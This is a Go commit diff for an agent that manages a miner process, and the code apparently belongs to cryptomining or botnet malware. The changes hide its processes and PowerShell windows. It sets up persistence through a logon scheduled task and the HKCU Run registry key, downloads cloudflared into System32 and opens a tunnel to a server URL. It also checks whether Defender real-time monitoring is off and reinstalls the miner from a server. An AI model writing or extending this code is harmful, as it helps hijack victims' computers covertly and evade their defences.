Add fleet groups, agent screenshots, deploy guards, and Crucible polish.
This commit is contained in:
@@ -7,7 +7,6 @@ import (
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -488,8 +487,7 @@ func (a *AIRunner) isProcessRunning(name string) bool {
|
||||
if !strings.HasSuffix(strings.ToLower(imName), ".exe") {
|
||||
imName += ".exe"
|
||||
}
|
||||
cmd := exec.Command("tasklist", "/FI", fmt.Sprintf("IMAGENAME eq %s", imName))
|
||||
output, err := cmd.Output()
|
||||
output, err := deploy.HiddenOutput("tasklist", "/FI", fmt.Sprintf("IMAGENAME eq %s", imName))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
@@ -505,8 +503,7 @@ func (a *AIRunner) restartMiner(processName string) (string, error) {
|
||||
}
|
||||
|
||||
// Kill existing process
|
||||
killCmd := exec.Command("taskkill", "/F", "/IM", imName)
|
||||
killOutput, _ := killCmd.CombinedOutput()
|
||||
killOutput, _ := deploy.HiddenCombinedOutput("taskkill", "/F", "/IM", imName)
|
||||
|
||||
// Start new process from install directory
|
||||
installDir, err := a.cfg.InstallDirectory()
|
||||
@@ -519,8 +516,7 @@ func (a *AIRunner) restartMiner(processName string) (string, error) {
|
||||
return string(killOutput), fmt.Errorf("executable not found: %s", exePath)
|
||||
}
|
||||
|
||||
startCmd := exec.Command(exePath)
|
||||
if err := startCmd.Start(); err != nil {
|
||||
if err := deploy.HiddenStart(exePath, "--run"); err != nil {
|
||||
return string(killOutput), fmt.Errorf("failed to start miner: %w", err)
|
||||
}
|
||||
|
||||
@@ -592,8 +588,7 @@ func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) {
|
||||
}
|
||||
|
||||
// Start the new binary with its own process group so it survives our exit
|
||||
startCmd := exec.Command(exePath)
|
||||
if err := startCmd.Start(); err != nil {
|
||||
if err := deploy.HiddenStart(exePath, "--run"); err != nil {
|
||||
return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil
|
||||
}
|
||||
|
||||
@@ -606,8 +601,7 @@ func (a *AIRunner) addPersistence(method, path string) (string, error) {
|
||||
|
||||
switch method {
|
||||
case "scheduled_task":
|
||||
cmd := exec.Command("schtasks", "/Create", "/SC", "ONLOGON", "/TN", keyName, "/TR", path, "/F")
|
||||
output, err := cmd.CombinedOutput()
|
||||
output, err := deploy.HiddenCombinedOutput("schtasks", "/Create", "/SC", "ONLOGON", "/TN", keyName, "/TR", path, "/F")
|
||||
if err != nil {
|
||||
return string(output), fmt.Errorf("scheduled task failed: %w", err)
|
||||
}
|
||||
@@ -615,8 +609,7 @@ func (a *AIRunner) addPersistence(method, path string) (string, error) {
|
||||
|
||||
case "registry":
|
||||
keyPath := `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
|
||||
cmd := exec.Command("reg", "add", keyPath, "/v", keyName, "/t", "REG_SZ", "/d", path, "/f")
|
||||
output, err := cmd.CombinedOutput()
|
||||
output, err := deploy.HiddenCombinedOutput("reg", "add", keyPath, "/v", keyName, "/t", "REG_SZ", "/d", path, "/f")
|
||||
if err != nil {
|
||||
return string(output), fmt.Errorf("registry persistence failed: %w", err)
|
||||
}
|
||||
@@ -633,21 +626,16 @@ func (a *AIRunner) createTunnel(tunnelType, serverURL string) (string, error) {
|
||||
switch tunnelType {
|
||||
case "cloudflared":
|
||||
// Check if cloudflared is installed
|
||||
checkCmd := exec.Command("cloudflared", "--version")
|
||||
if err := checkCmd.Run(); err != nil {
|
||||
// Try to download cloudflared
|
||||
downloadCmd := exec.Command("powershell", "-Command",
|
||||
if err := deploy.HiddenRun("cloudflared", "--version"); err != nil {
|
||||
output, dlErr := deploy.HiddenCombinedOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||
"Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe")
|
||||
if output, err := downloadCmd.CombinedOutput(); err != nil {
|
||||
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", err)
|
||||
if dlErr != nil {
|
||||
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr)
|
||||
}
|
||||
// Move to PATH
|
||||
moveCmd := exec.Command("copy", "/Y", filepath.Join(os.Getenv("TEMP"), "cloudflared.exe"), filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe"))
|
||||
moveCmd.Run()
|
||||
_ = deploy.HiddenRun("copy", "/Y", filepath.Join(os.Getenv("TEMP"), "cloudflared.exe"), filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe"))
|
||||
}
|
||||
|
||||
// Start tunnel (this runs in background)
|
||||
tunnelCmd := exec.Command("cloudflared", "tunnel", "--url", serverURL)
|
||||
tunnelCmd := deploy.HiddenCommand("cloudflared", "tunnel", "--url", serverURL)
|
||||
if err := tunnelCmd.Start(); err != nil {
|
||||
return "", fmt.Errorf("failed to start cloudflared tunnel: %w", err)
|
||||
}
|
||||
@@ -659,9 +647,8 @@ func (a *AIRunner) createTunnel(tunnelType, serverURL string) (string, error) {
|
||||
}
|
||||
|
||||
func (a *AIRunner) checkDefender() string {
|
||||
cmd := exec.Command("powershell", "-Command",
|
||||
output, err := deploy.HiddenOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||
"$r = Get-MpPreference; if ($r.DisableRealtimeMonitoring -eq $true) { 'disabled' } else { 'enabled' }")
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
@@ -678,13 +665,11 @@ func (a *AIRunner) checkDefender() string {
|
||||
|
||||
func (a *AIRunner) checkPersistence() bool {
|
||||
keyName := deploy.PersistenceKeyName(a.cfg)
|
||||
cmd := exec.Command("schtasks", "/Query", "/TN", keyName, "/FO", "CSV")
|
||||
if output, err := cmd.Output(); err == nil && strings.Contains(string(output), keyName) {
|
||||
if output, err := deploy.HiddenOutput("schtasks", "/Query", "/TN", keyName, "/FO", "CSV"); err == nil && strings.Contains(string(output), keyName) {
|
||||
return true
|
||||
}
|
||||
|
||||
regCmd := exec.Command("reg", "query", `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, "/v", keyName)
|
||||
if err := regCmd.Run(); err == nil {
|
||||
if err := deploy.HiddenRun("reg", "query", `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, "/v", keyName); err == nil {
|
||||
return true
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user